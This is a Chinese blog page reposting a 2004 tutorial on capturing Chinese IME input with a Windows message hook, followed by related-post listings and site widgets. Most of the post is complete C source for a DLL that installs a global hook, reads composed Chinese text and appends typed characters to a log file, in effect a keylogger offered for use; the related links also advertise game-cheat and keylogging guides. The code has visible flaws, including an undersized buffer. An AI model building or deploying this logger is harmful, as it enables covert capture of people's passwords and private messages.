关于HOOK截获中文输入

HOOK截获中文输入会出现响应多次的情况。 当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好"实在不解。。代码如下 case WM_IME_COMPOSITION: //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK); //if (m_hEditWnd == pmsg->hwnd 阅读详情
以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
以下是源代码:

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE    g_hHinstance    = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{    
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char ch;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }

                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);

                    memset(lpstr, 0, 20);

                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                    MessageBox(NULL, lpstr, lpstr, MB_OK);
                    ImmReleaseContext(hWnd, hIMC);
                }
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
                FILE* f1;
                f1=fopen("c://report.txt","a+");
                ch=(char)(pmsg->wParam);
                fwrite(&ch,1,1,f1);
                fclose(f1);    
            }
            break;
        }
    }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}

HOOK_API BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=hModule;
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}

/////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY    HOOK

EXPORTS
    InstallHook
    UnHook


其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
希望对大家有用. ^_^
VC++ 实战:无Hook中文键盘记录实现 键盘记录技术作为系统级编程的重要应用,广泛应用于输入监控、安全审计及用户行为分析等领域。在Windows操作系统中,键盘事件的生成涉及从硬件中断到用户界面消息的完整流程,涉及内核模式与用户模式的协同处理。理解这一机制是实现键盘监听的基础。本章将从Windows底层输入模型出发,介绍键盘事件的产生、消息队列的传递机制,以及常见的键盘记录实现方式,如Hook技术与用户态轮询方法。同时,为适应现代系统安全机制的发展,我们还将引出不依赖Hook的替代方案,为后续章节的具体实现打下坚实的理论基础。 阅读详情

相关推荐

通过HOOK来截获中文输入

通过HOOK来截获中文输入 用VC代码编写

外挂编写完全攻略

外挂编写完全攻略一、先说一下写一个外挂需要什么条件 1、熟练的C语言知识 目前的外挂大部分都是用BC或者是vc写的,拥有熟练的C语言知识是写外挂的基本条件 2、具有很强的汇编基础 一般游戏都不可能有原代码的,必须*反汇编或者跟踪的办法来探索其中的机理 ,所以有强的汇编基础也是必不可少的条件3、熟练掌握跟踪和调试的工具 有了上面2个条件后,掌握一些工具也是很有必要的 跟踪的工具,softice当然是

Mycro的专栏 4万+

原始输入键盘钩子(raw input hook)

使用原始输入(raw input),设置全局键盘钩子,来hook键盘消息。源码来自codeproject。

编写外挂完全攻略

一、先说一下写一个外挂需要什么条件  1、熟练的C语言知识  目前的外挂大部分都是用BC或者是vc写的,拥有熟练的C语言知识是写外挂的基本条件  2、具有很强的汇编基础 一般游戏都不可能有原代码的,必须*反汇编或者跟踪的办 法来探索其中的机理 ,所以有强的汇编基础也是必不可少的条件

Yong的博客 7万+

HOOK禁止键盘输入

vba调用HOOK函数禁用鼠标、键盘,方便后台程序执行,但没有禁止任务管理器

拦截中文输法 并修改中文输入法 钩子 DLL 源码

全局钩子 中文 输入法 拦截 DLL DLL注入、输入法与键盘HOOK

HOOK截获中文输入会出现响应多次的情况

HOOK截获中文输入会出现响应多次的情况。  当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好" 实在不解。。代码如下      case WM_IME_COMPOSITION:       //MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK);       //if   (m_hEditWnd  

wangsuo5764的博客 616

微前端实战:MicroApp内存泄漏优化策略与性能调优

本文分享了在大型后台管理系统微前端化过程中,使用MicroApp框架时遇到的内存泄漏实战问题与优化策略。通过深入分析沙箱机制,提出动态加载、精准卸载、沙箱配置优化及第三方库补丁等核心方案,并结合Vue/React子应用专项检查清单,有效解决了内存占用飙升问题,为微前端架构的性能调优提供了系统性解决方案。

weixin_29014939的博客 276

HOOK截获中文输入的方法

标题:关于HOOK截获中文输入发信站:安全焦点(2004年12月10日13时58分49秒)以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITIO

brain 的专栏 2462

SAP 运费处理方式

从直接的处理方式上看,情况1/2/3可以将运费记账到物料成本中,但情况4/5/6是直接记账到成本对象中,具体是要体现在损益表中,还是要结转到物料成本中,可依据业务要求进行好处理。如果体现在损益表中,不需要多过多额外的操作,如果要体现在物料成本中心,则需要再进行一系列的处理,最终将金额结转到物料成本中。因为在创建采购订单时不知道具体运费,可以不维护运费,只需要维护材料价格。:创建采购订单时,运费是由供应商承担,很多时候是包含在材料报价中,这种情况不需要专门针对运费进行处理,材料价格中已包含运费。

weixin_44506537的博客 3371

ATAC-seq数据分析流程

Outline0. ATAC-seq原理0.1 染色体结构0.2 原理0.3 结果0.4 意义1. ATAC-seq数据分析流程1.1 上游分析(1)序列质控和比对(2)序列筛选1.2 下游分析1.3 进阶分析 0. ATAC-seq原理 0.1 染色体结构 0.2 原理 0.3 结果 0.4 意义 1. ATAC-seq数据分析流程 1.1 上游分析 (1)序列质控和比对 fastqc trim_golare bowtie2 mapping时要加上参数 --very-sensitive -X 2000

weixin_57830892的博客 1万+

关于HOOK截获中文输入 (日文、韩文也应该适用)

关于HOOK截获中文输入 (日文、韩文也应该适用)以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息时要用到IMM

Jayky的专栏 2177

[0352]基于JAVA的停车场收费智慧管理系统的设计与实现

其次,从经营管理层面考虑,本系统涵盖了丰富的月卡管理和财务结算功能,如月卡用户管理、缴费、注销、挂失、解挂、补办等全流程服务,以及临保和月保的结算汇总与欠费查询等功能,这不仅有助于规范停车场的日常运营管理,更能有效提高财务管理效率,降低运营成本,实现精细化、数字化的财务管控。综上所述,本课题计划研发的基于Java的停车场收费智慧管理系统将在现有研究成果的基础上,重点优化月卡用户全生命周期管理和财务统计分析功能,以满足现代停车场高效、精准、安全的管理需求,紧跟行业发展趋势,为推动智慧城市的建设贡献一份力量。

muyu2980的专栏 589

关于HOOK截入中文输入

关于HOOK截入中文输入 //HOOK IME TO GET CHINESE INPUT CHAR//MAKE BY ZWELL//2004.12.9//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK//ADDTION: YOU MUST ADD THE IMM32.L...

weixin_34390105的博客 172

Calibre PEX提取HSPICE网表时如何避免‘net 0‘错误?实测解决方案分享

本文详细解析了Calibre PEX提取HSPICE网表时出现的'net 0'错误,提供了从规则文件修改到网表后处理的四步解决方案。通过实战案例和进阶调试技巧,帮助工程师有效避免节点映射错误,确保后仿真精度。特别针对SPICE netlist生成机制提出了优化建议。

weixin_29279153的博客 387

基于SolidWorks宏的草图点坐标自动化提取与Excel集成

本文详细介绍了如何利用SolidWorks宏编程实现草图点坐标的自动化提取并与Excel集成,显著提升机械设计效率。通过VBA代码解析与优化,解决了人工记录坐标耗时易错的问题,并扩展了多草图批量处理、数据可视化等高级功能,适用于数控加工、质量检测等场景。

weixin_29251131的博客 460

Inline hook ImmGetCompositionStringW获取中文输入

// dllmain.cpp : 定义 DLL 应用程序的入口点。 // 本程序通过hook ImmGetCompositionStringW获取中文输入记录 // #include "stdafx.h" #define OPCODESIZE 6 #define INFO_BUFFER_SIZE 32767 typedef BOOL(WINAPI *lpImmGetCompositionS

CoderAldrich的专栏 2807

【即插即用模块】Transformer篇 | MICCAI 2025 | ReLULA:Q/K双ReLU线性注意力,既轻又准!

本文介绍了一种基于线性注意力的多实例学习模块(Lin-MIL),适用于高分辨率视觉任务。该模块通过转置计算顺序和使用ReLU激活,将计算复杂度从O(n²d)降至O(nd²),同时提升特征判别性。核心创新包括Q/K双ReLU激活、可学习温度系数和数值稳定归一化。实验表明,该模块在轻量化视觉任务中优于传统线性注意力和Mamba架构。代码实现了模块化矩阵乘法,支持即插即用替换ViT自注意力层。该模块特别适合计算病理学等需要处理大量图像补丁的任务。

主要更新底层视觉(去噪、超分等)相关的科研内容,形式为【论文精读】+【论文复现】 140
上一篇: QQ2004 sp1加密文件结构和加密算法分析
下一篇: Winamp "in_cdda" 模块的调试以及SHELLCODE的编写
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值